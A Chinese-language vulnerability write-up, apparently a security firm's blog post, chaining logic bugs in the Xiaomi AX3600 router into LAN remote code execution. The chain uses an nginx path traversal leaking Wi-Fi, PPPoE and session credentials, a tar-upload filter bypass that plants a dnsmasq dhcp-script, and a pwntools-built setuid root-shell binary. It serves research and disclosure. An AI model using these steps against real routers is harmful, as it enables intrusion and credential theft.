微信又改版了,为了我们能一直相见
你的加星和在看对我们非常重要
点击“长亭安全课堂”——主页右上角——设为星标🌟
期待与你的每次见面~
随着内存漏洞利用难度的增大,更加稳定的逻辑漏洞的优势就凸显了出来。本文中,笔者将分享如何通过多个逻辑漏洞,完成对小米AIoT路由器AX3600(https://www.mi.com/r3600)(后文简称 AX3600) 的 LAN 口 RCE。本文中对部分专业名词不会做太多详细的解释,需要读者有一定的安全基础。
获取固件
在 miwifi (http://www.miwifi.com/miwifi_download.html) 官网可以下载到所有小米路由器的固件,本文中分析的固件版本为
小米AIoT路由器AX3600 稳定版
版本1.0.20(2020年3月10日更新)
一串漏洞来袭
漏洞一
有限的路径穿越漏洞
从官网下载并解出固件后,通过浏览 AX3600 各种服务的配置文件,很快找到了第一个由于 nginx 误配置导致的路径穿越漏洞
如上图所示,当用户使用过配置备份功能后,攻击者访问 http://AX3600-ip/backup/log../test 时,由于 alias 的作用,实际访问的文件为 /tmp/syslogbackup/../test 也即是 /tmp/test,攻击者可以通过实现从 /tmp/syslogbackup 穿越至 /tmp 目录,读取 /tmp 任意文件。
经过观察,在 /tmp/messages 文件中保留了较多的敏感信息
攻击者可以通过访问 http://AX3600-ip/backup/log../messages 读取 /tmp/messages 中的内容,获取明文的 wifi 密码,PPPoE 账号和密码,vpn 用户名和密码,stok 等信息。
其中,使用泄露的 stok 可以在一定时间内登录到后台,实现后台登录绕过。
这个漏洞的CVE编号是 CVE-2020-11959(https://privacy.mi.com/trust#/security/vulnerability-management/vulnerability-announcement/detail?id=14&locale=zh)
漏洞二
后台解压逻辑错误
AX3600 后台存在上传路由器配置文件的功能,用户可以通过上传包含配置文件的 .tar.gz 压缩包来恢复路由器设置
上传后的文件在路由器的 /tmp 目录下被解压,只有合法的文件会被继续处理,不合法的文件报错不再处理,相关的 lua 代码经过整理后如下。
function extract()
require "nixio.fs"
L2_30 = "/tmp/cfgbackup.tar.gz"
if not nixio.fs.access(L2_30) then
return 1
end
if os.execute("tar -tzvf " .. L2_30 .. " | grep ^l >/dev/null 2>&1") == 0 then
os.execute("rm -rf " .. L2_30)
return 2
end
if os.execute("tar -tzvf " .. L2_30 .. " |grep -v .des|grep -v .mbu >/dev/null 2>&1") == 0 then
os.execute("rm -rf " .. L2_30)
return 22
end
os.execute("cd /tmp; tar -xzf " .. L2_30 .. " >/dev/null 2>&1")
os.execute("rm " .. L2_30 .. " >/dev/null 2>&1")
if not nixio.fs.access(_UPVALUE1_) then
return 2
end
if not nixio.fs.access(_UPVALUE2_) then
return 3
end
return 0
end
使用 tar -tzvf 列出压缩包中的内容,然后使用 grep 检查压缩包内的文件,检查分两步
-
使用 grep ^l 判断压缩包内的文件是不是软连接,是的话删除压缩包,函数退出,流程结束 -
使用 grep -v .des | grep -v .mbu 判断压缩包内是否包含且仅包含后缀为 .des 和 .mbu 的两个文件,不满足条件时删除压缩包,函数退出,流程结束
同时因为压缩包可以保留路径信息,用户可以上传保留了路径信息的 .des 或者 .mbu 文件至 /tmp 下的任意路径
攻击者可以利用这个逻辑缺陷在 /tmp 下写任意后缀为 .mbu 或者 .des 的文件。单独来看,这个问题并不严重,但与下文的逻辑漏洞连用,攻击者可以实现后台的任意命令执行。
仔细阅读解压逻辑中判断文件是否为合法的代码
if os.execute("tar -tzvf " .. L2_30 .. " |grep -v .des|grep -v .mbu >/dev/null 2>&1") == 0 then
os.execute("rm -rf " .. L2_30)
return 22
end
判断压缩包中是否包含且只包含 *.des 和 *.mbu 使用了 grep -v,但这样使用 grep 真的能起到预期的效果吗?
查看 grep 的 man 手册
GREP(1) User Commands GREP(1)
NAME
grep, egrep, fgrep, rgrep - print lines matching a pattern
......
-v, --invert-match
Invert the sense of matching, to select non-matching lines.
......
同时,因为 grep 在模式匹配时使用 . 可以代替任意字符,所以文件名只需包含 mbu 和 des 即可,而不必要必须以 .mbu 或 .des 结尾
这也是一个很微小的逻辑漏洞,比起上一步,攻击者能多造成的影响仅仅是可以部分改变上传文件的文件名(从必须是 .des 或 .mbu 后缀改为文件名中包含 des 或 mbu 即可),但从攻击者的角度而言,漏洞的影响已经大大上升了一个等级,如在正常的渗透测试中,上传 .php, .jsp 等可写webshell。
但对于 AX3600,攻击者可以控制的文件在 /tmp 下,/tmp 下可选的目标并不多。继续浏览 /tmp 下的文件,发现存在 /tmp/dnsmasq.d 文件夹,分析 dnsmasq 的运行逻辑
root@XiaoQiang:~# ps w | grep dnsmasq
3951 root 1300 S /usr/sbin/dnsmasq --user=root -C /var/etc/dnsmasq.conf.cfg01411c -k -x /var/run/dnsmasq/dnsmasq.cfg01411c
28237 root 1336 S grep dnsmasq
root@XiaoQiang:~#cat/var/etc/dnsmasq.conf.cfg01411c
#auto-generatedconfigfilefrom/etc/config/dhcp
conf-file=/etc/dnsmasq.conf
......
addn-hosts=/tmp/hosts
conf-dir=/tmp/dnsmasq.d
......
root@XiaoQiang:~#
可以发现,/tmp/dnsmaq.d 是 dnsmasq 存放配置文件的目录,当 dnsmasq 重启时,conf-dir 中的新配置文件会被加载,当前情况下,只需配置文件后缀是 .conf 即可被加载。
-7, --conf-dir=<directory>[,<file-extension>......],
Read all the files in the given directory as configuration files. If extension(s) are given, any files which end in those extensions are skipped. Any files whose names end in ~ or start with . or start and end with # are always skipped. If the extension starts with * then only files which have that extension are loaded. So --conf-dir=/path/to/dir,*.conf loads all files with the suffix .conf in /path/to/dir. This flag may be given on the command line or in a configuration file. If giving it on the command line, be sure to escape * characters. Files are loaded in alphabetical order of filename.
而 dnsmasq 又支持很多特性
root@XiaoQiang:~# dnsmasq --help
Usage: dnsmasq [options]
Valid options are:
......
-6, --dhcp-script=<path> Shell script to run on DHCP lease creation and destruction.
--dhcp-luascript=path Lua script to run on DHCP lease creation and destruction.
--dhcp-scriptuser=<username> Run lease-change scripts as this user.
......
-7, --conf-dir=<path> Read configuration
......
--enable-tftp[=<intr>[,<intr>]] Enable integrated read-only TFTP server.
--tftp-root=<dir>[,<iface>] Export files by TFTP only from the specified subtree.
--tftp-unique-root[=ip|mac] Add client IP or hardware address to tftp-root.
--tftp-secure Allow access only to files owned by the user running dnsmasq.
--tftp-no-fail Do not terminate the service if TFTP directories are inaccessible.
--tftp-max=<integer> Maximum number of concurrent TFTP transfers (defaults to 50).
--tftp-mtu=<integer> Maximum MTU to use for TFTP transfers.
--tftp-no-blocksize Disable the TFTP blocksize extension.
--tftp-lowercase Convert TFTP filenames to lowercase
--tftp-port-range=<start>,<end> Ephemeral port range for use by TFTP transfers.
......
因此,通过在 /tmp/dnsmasq.d 下上传 dnsmasq 的配置文件完成命令执行就是一个很好的选择了。
这里选用通过 dnsmasq 的 dhcp-script 选项完成执行命令。具体方法为:
-
先在 /tmp 下上传包含攻击者命令的 shell 脚本(文件名包含 des 或者 mbu) -
再上传 .conf 结尾的 dnsmasq 配置文件至 /tmp/dnsmasq.d(文件名同样包括 des 或者 mbu) 如下图表示上传成功
-
重启 dnsmasq,方法有很多,基本所有更改网络状态的操作都可以实现,这里通过开/关 ipv6 支持来实现
-
然后通过 tftp 触发 dhcp-script,实现代码执行
-
最终可以观察到 hackdes.sh 中的命令被执行
Q&A
Q:为什么使用 dhcp-script 选项的同时,要开启 tftp?
A:触发 dhcp-script 需要一定的条件,通过 tftp 传输文件触发是一个很方便的方法
-6 --dhcp-script=<path>
Whenever a new DHCP lease is created, or an old one destroyed, or a TFTP file transfer completes, the executable specified by this option is run. <path> must be an absolute pathname, no PATH search occurs.
The philosopy was to implement just enough of TFTP to do network boot,
aiming for security and then simplicity. Hence no write operation: it’s
not needed for network booting, and it’s not secure.
root@XiaoQiang:~# dnsmasq --version
Dnsmasq version 2.80 Copyright © 2000-2018 Simon Kelley
Compile time options: IPv6 GNU-getopt no-DBus no-i18n no-IDN DHCP no-DHCPv6 no-Lua TFTP no-conntrack ipset no-auth no-DNSSEC no-ID loop-detect no-inotify dumpfile
漏洞三
权限提升漏洞
-p, --preserve-permissions, --same-permissions
extract information about file permissions
(default for superuser)
--same-owner try extracting files with the same ownership as
exists in the archive (default for superuser)
from pwn import *
context.log_level = "critical"
context.binary = "./busybox"
sc = asm(shellcraft.setresgid(0, 0, 0))
sc += asm(shellcraft.setresuid(0, 0, 0))
# execve("/bin/sh", ["sh", NULL], NULL)
sc += asm(shellcraft.pushstr("/bin/sh "))
sc += asm("MOV X0, SP")
sc += asm(shellcraft.pushstr("sh "))
sc += asm("EOR X2, X2, X1")
sc += asm("MOV X14, X2")
sc += asm("STR X2, [SP, #-16]!")
sc += asm("ADD X1, SP, #16")
sc += asm("MOV X14, X1")
sc += asm("STR X1, [SP, #-16]!")
sc += asm("MOV X1, SP")
sc += asm("MOV X8, #221")
sc += asm("SVC #0")
f = make_elf(sc, strip = True, extract = False)
print(f)
最终体积生成符合要求的程序
并打包上传
这里需要注意,因为 /tmp 挂载的标志位为 nosuid,所以在 /tmp 下运行有 suid 权限的 binary 并不会生效
但可以上传 binary 至 /tmp/spool/cron/crontabs 即 /etc/crontabs 下实现通过 suid 提权 —— 这也是唯一一个突破点
Q&A
后记
在提交 AX3600 相关漏洞的过程中,收到了 MiSRC 迅速、专业的回复和支持,这里对 MiSRC 表示感谢。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论